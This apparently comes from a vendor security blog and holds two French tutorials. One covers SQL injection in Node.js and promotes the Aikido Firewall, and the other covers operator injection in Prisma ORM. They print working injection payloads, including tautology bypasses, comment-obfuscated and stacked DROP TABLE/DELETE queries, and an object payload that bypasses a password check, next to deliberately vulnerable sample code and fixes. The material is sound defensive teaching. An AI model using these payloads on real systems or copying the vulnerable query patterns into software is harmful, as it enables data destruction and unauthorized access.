connection.query(query, (err, rows) => {
if(err) throw err;
response.json({
data: rows
});
});
});
Bien que cet exemple puisse sembler inoffensif pour ceux qui n'ont pas été formés aux attaques par injection SQL, il est extrêmement vulnérable. Notamment, l'application ne tente pas de valider ou d'assainir l'entrée de l'utilisateur pour les chaînes de caractères ou les méthodes d'encodage potentiellement dangereuses, etconcatène l'entrée de l'utilisateur directement dans la requête SQL, ce qui donne aux attaquants de multiples occasions d'attaquer en utilisant des méthodes d'attaque par injection SQL courantes qui existent depuis des dizaines d'années.
Exemple de charges utiles d'attaque JavaScript SQL
L'injection SQL consiste à tromper votre base de données MySQL ou PostgreSQL pour qu'elle effectue une action ou réponde avec des données en dehors du cadre prévu, en raison de la manière dont votre application génère des requêtes SQL.
Le 1=1 est toujours vrai L'attaque peut retourner toute la table des chats avec des astuces comme les apostrophes ou les guillemets, parce que 1=1
est en effet toujours VRAI :
- L'utilisateur saisit les données :
BOBBY TABLES" OU 1="1
- La base de données exécute la requête SQL :
SELECT * FROM Users WHERE Cat = BOBBY TABLES OR 1=1 ;
De même, les attaquants peuvent exploiter une = est toujours vrai attaque pour renvoyer tous les chats, car ""=""
est toujours VRAI :
- L'utilisateur saisit les données :
" OR ""="
- La base de données exécute la requête SQL :
SELECT * FROM Cats WHERE CatId ="" ou ""="" ;
Les attaquants exploitent souvent la manière dont les bases de données gèrent les commentaires en ligne, et en insérant des commentaires (/* ... */)
dans une requête, ils peuvent obscurcir leur intention ou contourner les filtres.
- L'utilisateur saisit les données :
DR/*hello world*/OP/*sneak attack*/ TABLE Cats ;
- La base de données exécute la requête SQL :
DROP TABLE Cats ;
Une autre stratégie courante d'injection SQL en JavaScript est l'empilement de requêtes, qui permet aux attaquants de commencer par une chaîne inoffensive, puis d'utiliser un point-virgule ( ;) pour mettre fin à cette déclaration et en commencer une autre contenant leur injection. Les attaquants utilisent souvent l'empilement de requêtes pour supprimer des bases de données entières d'un seul coup à l'aide d'une commande DROP TABLE :
- L'utilisateur saisit les données :
Bobby ; DROP TABLE Cats --
- L'application construit sa requête SQL :
const query = "SELECT * FROM Cats WHERE CatId = " + input ;
- La base de données exécute la requête SQL :
SELECT * FROM Cats WHERE CatId = BOBBY ; DROP TABLE Cats ;
Qu'en est-il des attaques par injection NoSQL ?
Les attaques par injection NoSQL sont tout aussi dangereuses pour la sécurité de votre application et des données des utilisateurs, mais elles n'affectent que les piles technologiques utilisant des bases de données telles que MongoDB. La principale différence réside dans le style des attaques, car les requêtes SQL et NoSQL utilisent une syntaxe totalement unique qui ne se traduit pas d'une catégorie à l'autre.
Si vous utilisez une base de données SQL, vous ne risquez pas d'être victime d'une attaque par injection NoSQL, et vice versa.
Le chemin de base : corriger manuellement toutes les vulnérabilités d'injection SQL
À ce stade, vous êtes peut-être moins intéressé par la description de toutes les astuces d'injection possibles que par la manière de protéger les données que vous avez dans MySQL ou PostgreSQL.
- Utiliser des requêtes paramétrées: SQL dispose d'une fonctionnalité permettant de déconnecter l'exécution des requêtes et des valeurs, protégeant ainsi la base de données des attaques par injection.Avec l'exemple JavaScript/Node.js ci-dessus, vous pouvez employer un espace réservé dans votre requête SQL avec un point d'interrogation (
?
). Lesconnexion.query()
prend alors le paramètre en deuxième argument, ce qui donne les mêmes résultats dans une méthode à l'épreuve des injections.
app.post("/cats", (request, response) => {
const query = `SELECT * FROM Cats WHERE id = ?`;
const value = request.body.id;
connection.query(query, value, (err, rows) => {
if(err) throw err;
response.json({
data: rows
});
});
});
- Valider et assainir les entrées des utilisateurs: Si les requêtes paramétrées peuvent contribuer à protéger votre base de données SQL contre les intrusions et les attaques, vous pouvez également empêcher les utilisateurs de saisir des chaînes de caractères potentiellement dangereuses dans votre application.
Une option consiste à ajouter à votre application des bibliothèques open-source pour l'assainissement et la validation. Par exemple, vous pouvez utiliser validator.js dans l'écosystème JavaScript/Node.js pour vérifier qu'un utilisateur essaie d'entrer une véritable adresse électronique - et non une attaque par injection SQL - dans votre formulaire d'inscription.
Vous pouvez également développer des validateurs personnalisés basés sur des expressions rationnelles pour effectuer un travail similaire, mais le chemin à parcourir sera extrêmement long et complexe, avec des recherches et des tonnes de tests manuels. De plus, pouvez-vous vraiment interpréter cet exemple de regex pour la validation d'un courriel ?const re = /^(([^<>()[\]\\.,;:\s@"]+(\.[^<>()[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
La même idée s'applique pour empêcher les chaînes de caractères comme...' OR 1-'1.
Vous pouvez essayer de rechercher et de fermer toutes ces opportunités vous-même, mais vous préférerez probablement passer votre temps à créer de nouvelles fonctionnalités.
- Déployer des WAF ou des plateformes de sécurité basées sur des agents: Bien que ces solutions puissent bloquer les attaques SQL avant même qu'elles ne touchent votre application, ou au moins vous avertir en temps réel lorsque des attaques se produisent, elles sont assorties de quelques mises en garde.
Tout d'abord, elles sont souvent coûteuses et vous obligent à lancer une nouvelle infrastructure sur site ou dans le nuage, ce qui est souvent beaucoup plus complexe que ce que vous avez signé en tant que développeur qui veut juste expédier à la production. Deuxièmement, elles nécessitent davantage de maintenance manuelle pour mettre à jour le jeu de règles, ce qui vous empêche d'effectuer d'autres interventions manuelles en cas d'injection de code SQL. Enfin, ils ajoutent souvent une charge de calcul supplémentaire ou redirigent toutes les requêtes via leur plateforme d'analyse, ce qui augmente la latence et nuit à l'expérience de l'utilisateur final.
Le gros problème est que les possibilités d'attaques par injection SQL sont comme des mauvaises herbes - vous pouvez les couper une fois à l'aide de ces outils, mais vous devez être constamment vigilant sur l'ensemble de votre base de code pour vous assurer qu'elles ne repoussent jamais.
Une voie alternative pour résoudre les attaques JavaScript par injection SQL : Pare-feu Aikido
Aikido Security a récemment publié Firewall, un moteur de sécurité gratuit et open-source qui vous protège de manière autonome contre les attaques par injection SQL et bien d'autres choses encore.
Si vous n'utilisez pas Node.js, sachez que nous prendrons en charge d'autres langages et frameworks à l'avenir. Vous pouvez toujours vous abonner à notre bulletin d'information sur les produits pour savoir exactement quand Firewall s'étendra au-delà du monde JavaScript ou nous envoyer un courriel à hello@aikido.dev si vous souhaitez parler d'un langage spécifique.
Tester une application vulnérable à l'injection SQL JavaScipt
Nous allons utiliser un exemple d'application fourni avec le dépôt open-source pour montrer comment fonctionne Aikido Firewall. Vous aurez également besoin de Docker/DockerCompose pour déployer une base de données MySQL locale.
Commencez par forker le dépôt firewall-node et clonez ce fork sur votre station de travail locale.
git clone https://github.com/<YOUR-GITHUB-USERNAME>/firewall-node.gitcd firewall-node
Utilisez Docker pour déployer une base de données MySQL locale sur le port 27015. Ce fichier docker-compose.yml crée également des conteneurs s3mock, MongoDB et PostgreSQL, car il a été créé pour aider l'équipe d'Aikido à tester la façon dont Firewall bloque diverses attaques.
docker-compose -f sample-apps/docker-compose.yml up -d
Lancez ensuite l'application modèle :
node sample-apps/express-mysql2/app.js
Ouvrir http://localhost:4000
dans votre navigateur pour découvrir cette application très simple. Dans la zone de texte, tapez quelques noms de chats et cliquez sur le bouton Ajouter pour tester l'injection d'un code SQL. Pour tester l'injection SQL, vous pouvez soit cliquer sur le bouton Injection de test ou tapez le texte suivant dans la zone de texte : Kitty') ; DELETE FROM cats;-- H
et cliquez sur Ajouter à nouveau. Quoi qu'il en soit, l'application vous permet d'empiler plusieurs requêtes à l'aide de commentaires sournois, supprimant ainsi la totalité de la base de données des chats.
Comment cela se passe-t-il ? Comme nous l'avons déjà signalé, cette application ajoute simplement tous l'entrée de l'utilisateur à la fin de la requête SQL, ce qui n'est pas sûr par nature.
const query = `INSERT INTO cats(petname) VALUES ('${name}');`
Les conséquences peuvent être minimes, mais il n'est pas difficile d'imaginer comment cette erreur souvent honnête peut avoir des conséquences désastreuses pour votre application de production.
Blocage de l'injection JavaScript SQL avec Aikido Firewall
Voyons maintenant avec quelle rapidité notre moteur de sécurité open-source bloque les attaques JavaScript par injection SQL sans avoir à corriger manuellement chaque interaction avec la base de données dans votre code.
Si vous n'avez pas encore de compte Aikido, n'hésitez pas à en créer un. en faire un gratuitement. Si vous en avez déjà un, connectez-vous et connectez votre compte GitHub. Au cours de ce processus, accordez à l'Aikido l'accès à la lecture de votre fourche de l'accord. nœud de pare-feu
projet.
Aller à la page Tableau de bord du pare-feu et cliquez sur Ajouter un service. Donnez un nom à votre service et choisissez à nouveau votre fourchette pour le service nœud de pare-feu
projet.

Aikido vous explique ensuite comment installer et mettre en œuvre Aikido Firewall. Comme nous utilisons l'application d'exemple, ce travail est déjà fait pour vous, mais il s'agit d'une référence utile sur la façon d'apporter notre moteur de sécurité open-source à toutes vos applications Node.js qui pourraient être vulnérables à des attaques JavaScript par injection SQL.

Cliquez sur le bouton Générer un jeton pour créer un jeton permettant à Aikido Firewall de transmettre en toute sécurité les informations sur les attaques par injection SQL bloquées à la plateforme de sécurité Aikido. Copiez le jeton généré, qui commence par AIK_RUNTIME...
et retournez à votre terminal pour réexécuter l'exemple d'application, mais maintenant avec le Pare-feu entièrement activé en mode blocage :
AIKIDO_TOKEN=<YOUR-AIKIDO-TOKEN> AIKIDO_DEBUG=true AIKIDO_BLOCKING=true node sample-apps/express-mysql2/app.js
Ouvrir localhost:4000
et invoque à nouveau l'attaque par injection SQL incluse. Cette fois, Aikido vous bloquera au niveau du navigateur, enverra un message dans les journaux de votre serveur web local et générera un nouvel événement. Cliquez sur cet événement pour obtenir des détails complets sur la tentative d'injection SQL, y compris la charge utile et l'endroit où votre application a généré la dangereuse requête SQL.

Au lieu de s'inquiéter de la protection permanente de vos applications contre les attaques par injection JavaScript SQL, qu'elles soient critiques ou non, Aikido Firewall offre un blocage complet et une observabilité sophistiquée qui vous tient informé des sources d'attaque, des charges utiles courantes et des points faibles potentiels.
Quelle est la prochaine étape ?
Vous pouvez installer et mettre en œuvre Aikido Firewall dans toutes vos applications basées sur Node.js gratuitement. Notre moteur de sécurité embarqué open-source protège votre infrastructure et les données de vos utilisateurs contre les attaques JavaScript SQL injection, l'injection de commandes, la pollution des prototypes, la traversée de chemin, et bien d'autres encore à venir prochainement.
Nous ne disons pas que Firewall devrait remplacer les meilleures pratiques de développement pour se protéger contre les injections SQL, comme l'utilisation de requêtes paramétrées ou le fait de ne jamais faire confiance à la saisie de l'utilisateur, mais nous savons aussi, par expérience personnelle, qu'aucun développeur n'est parfait. Aucune base de code n'est sans faille, et des erreurs honnêtes se produisent tout le temps.
Considérez Firewall comme un correctif global pour l'injection SQL. Contrairement aux expressions rationnelles développées sur mesure, aux WAFs induisant une latence ou aux agents de sécurité complexes qui coûtent une fortune, Firewall fait ce travail extraordinairement bien et avec un impact négligeable, et ce, tout à fait gratuitement.
Si vous aimez ce que vous avez vu, consultez notre feuille de route et donnez une étoile à notre dépôt GitHub(https://github.com/AikidoSec/firewall-node). ⭐

Prisma et PostgreSQL vulnérables aux injections NoSQL ? Un risque de sécurité surprenant expliqué
Introduction
Imaginez que vous construisiez une application web de blogging en utilisant Prisma. Vous écrivez une requête simple pour authentifier les utilisateurs sur la base de leur email et de leur mot de passe :
1const user = await prisma.user.findFirst({
2 where: { email, password },
3});
Cela semble inoffensif, n'est-ce pas ? Mais que se passe-t-il si un pirate envoie password = { "not": "" }
? Au lieu de renvoyer l'objet Utilisateur uniquement lorsque l'adresse électronique et le mot de passe correspondent, la requête renvoie toujours l'objet Utilisateur lorsque seule l'adresse électronique fournie correspond.
Cette vulnérabilité est connue sous le nom d'injection d'opérateur, mais elle est plus communément appelée injection NoSQL. Ce que de nombreux développeurs ignorent, c'est qu'en dépit de schémas de modèles stricts , certains ORM sont vulnérables à l' injection d'opérateur même lorsqu'ils sont utilisés avec une base de données relationnelle telle que PostgreSQL, ce qui en fait un risque plus répandu qu'on ne le pense.
Dans ce billet, nous allons explorer le fonctionnement de l'injection d'opérateur, démontrer des exploits dans Prisma ORM, et discuter de la façon de les prévenir.
Comprendre l'injection d'opérateur
Pour comprendre l'injection d'opérateurs dans les ORM, il est intéressant d'examiner d'abord l'injection NoSQL. MongoDB a présenté aux développeurs une API permettant d'interroger les données à l'aide d'opérateurs tels que $eq
, $lt
et $ne
. Lorsque les données de l'utilisateur sont transmises aveuglément aux fonctions d'interrogation de MongoDB, il existe un risque d'injection NoSQL.
Les bibliothèques ORM populaires pour JavaScript ont commencé à offrir une API similaire pour l'interrogation des données et maintenant presque tous les ORM principaux supportent une certaine variation des opérateurs de requête, même s'ils ne supportent pas MongoDB. Prisma, Sequelize et TypeORM ont tous implémenté le support des opérateurs de requête pour les bases de données relationnelles telles que PostgreSQL.
Exploitation de l'injection d'opérateur dans Prisma
Les fonctions de requête Prisma qui opèrent sur plus d'un enregistrement prennent généralement en charge les opérateurs de requête et sont vulnérables à l'injection. Voici quelques exemples de fonctions trouverPremier
, findMany
, updateMany
et deleteMany
. Bien que Prisma valide les champs du modèle référencés dans la requête au moment de l'exécution, les opérateurs sont une entrée valide pour ces fonctions et ne sont donc pas rejetés par la validation.
L'une des raisons pour lesquelles l'injection d'opérateurs est facile à exploiter dans Prisma est la présence d'opérateurs basés sur des chaînes de caractères dans l'API Prisma. Certaines bibliothèques ORM ont supprimé la prise en charge des opérateurs de requête basés sur des chaînes de caractères parce qu'ils sont facilement négligés par les développeurs et faciles à exploiter. Au lieu de cela, elles obligent les développeurs à référencer des objets personnalisés pour les opérateurs. Comme ces objets ne peuvent pas être facilement désérialisés à partir de l'entrée de l'utilisateur, le risque d'injection d'opération est considérablement réduit dans ces bibliothèques.
Toutes les fonctions de requête de Prisma ne sont pas vulnérables à l'injection d'opérateur. Les fonctions qui sélectionnent ou modifient un seul enregistrement de la base de données ne prennent généralement pas en charge les opérateurs et génèrent une erreur d'exécution lorsqu'un objet est fourni. En dehors de findUnique, les fonctions update, delete et upsert de Prisma n'acceptent pas non plus les opérateurs dans leur filtre where.
1 // This query throws a runtime error:
2 // Argument `email`: Invalid value provided. Expected String, provided Object.
3 const user = await prisma.user.findUnique({
4 where: { email: { not: "" } },
5 });
Meilleures pratiques pour prévenir l'injection de l'opérateur
1. Conversion des données utilisateur en types de données primitives
En règle générale, il suffit de convertir les données d'entrée en types de données primitifs tels que les chaînes de caractères ou les nombres pour empêcher les attaquants d'injecter des objets. Dans l'exemple original, la conversion se présente comme suit :
1 const user = await prisma.user.findFirst({
2 where: { email: email.toString(), password: password.toString() },
3 });
2. Valider les données de l'utilisateur
Bien que le casting soit efficace, vous voudrez peut-être valider l'entrée de l'utilisateur pour vous assurer qu'elle répond aux exigences de votre logique d'entreprise.
Il existe de nombreuses bibliothèques pour la validation des données utilisateur côté serveur, telles que class-validator, zod et joi. Si vous développez pour un framework d'application web tel que NestJS ou NextJS, il est probable qu'ils recommandent des méthodes spécifiques pour la validation de l'entrée utilisateur dans le contrôleur.
Dans l'exemple original, la validation de zod pourrait se présenter comme suit :
1import { z } from "zod";
2
3const authInputSchema = z.object({
4 email: z.string().email(),
5 password: z.string().min(8)
6});
7
8const { email, password } = authInputSchema.parse({email: req.params.email, password: req.params.password});
9
10const user = await prisma.user.findFirst({
11 where: { email, password },
12});
3. Maintenez votre ORM à jour
Restez à jour pour bénéficier des améliorations et des corrections de sécurité. Par exemple, Sequelize a désactivé les alias de chaîne pour les opérateurs de requête à partir de la version 4.12, ce qui réduit considérablement la sensibilité à l'injection d'opérateur.
Conclusion
L'injection d'opérateur est une menace réelle pour les applications utilisant des ORM modernes. La vulnérabilité provient de la conception de l'API ORM et n'est pas liée au type de base de données utilisé. En effet, même Prisma combiné à PostgreSQL peut être vulnérable à l'injection d'opérateur. Bien que Prisma offre une protection intégrée contre l'injection d'opérateur, les développeurs doivent toujours pratiquer la validation et l'assainissement des entrées pour garantir la sécurité de l'application.
Annexe : Schéma Prisma pour le modèle de l'utilisateur
1// This is your Prisma schema file,
2// learn more about it in the docs: https://pris.ly/d/prisma-schema
3
4generator client {
5 provider = "prisma-client-js"
6}
7
8datasource db {
9 provider = "postgresql"
10 url = env("DATABASE_URL")
11}
12
13// ...
14
15model User {
16 id Int @id @default(autoincrement())
17 email String @unique
18 password String
19 name String?
20 posts Post[]
21 profile Profile?
22}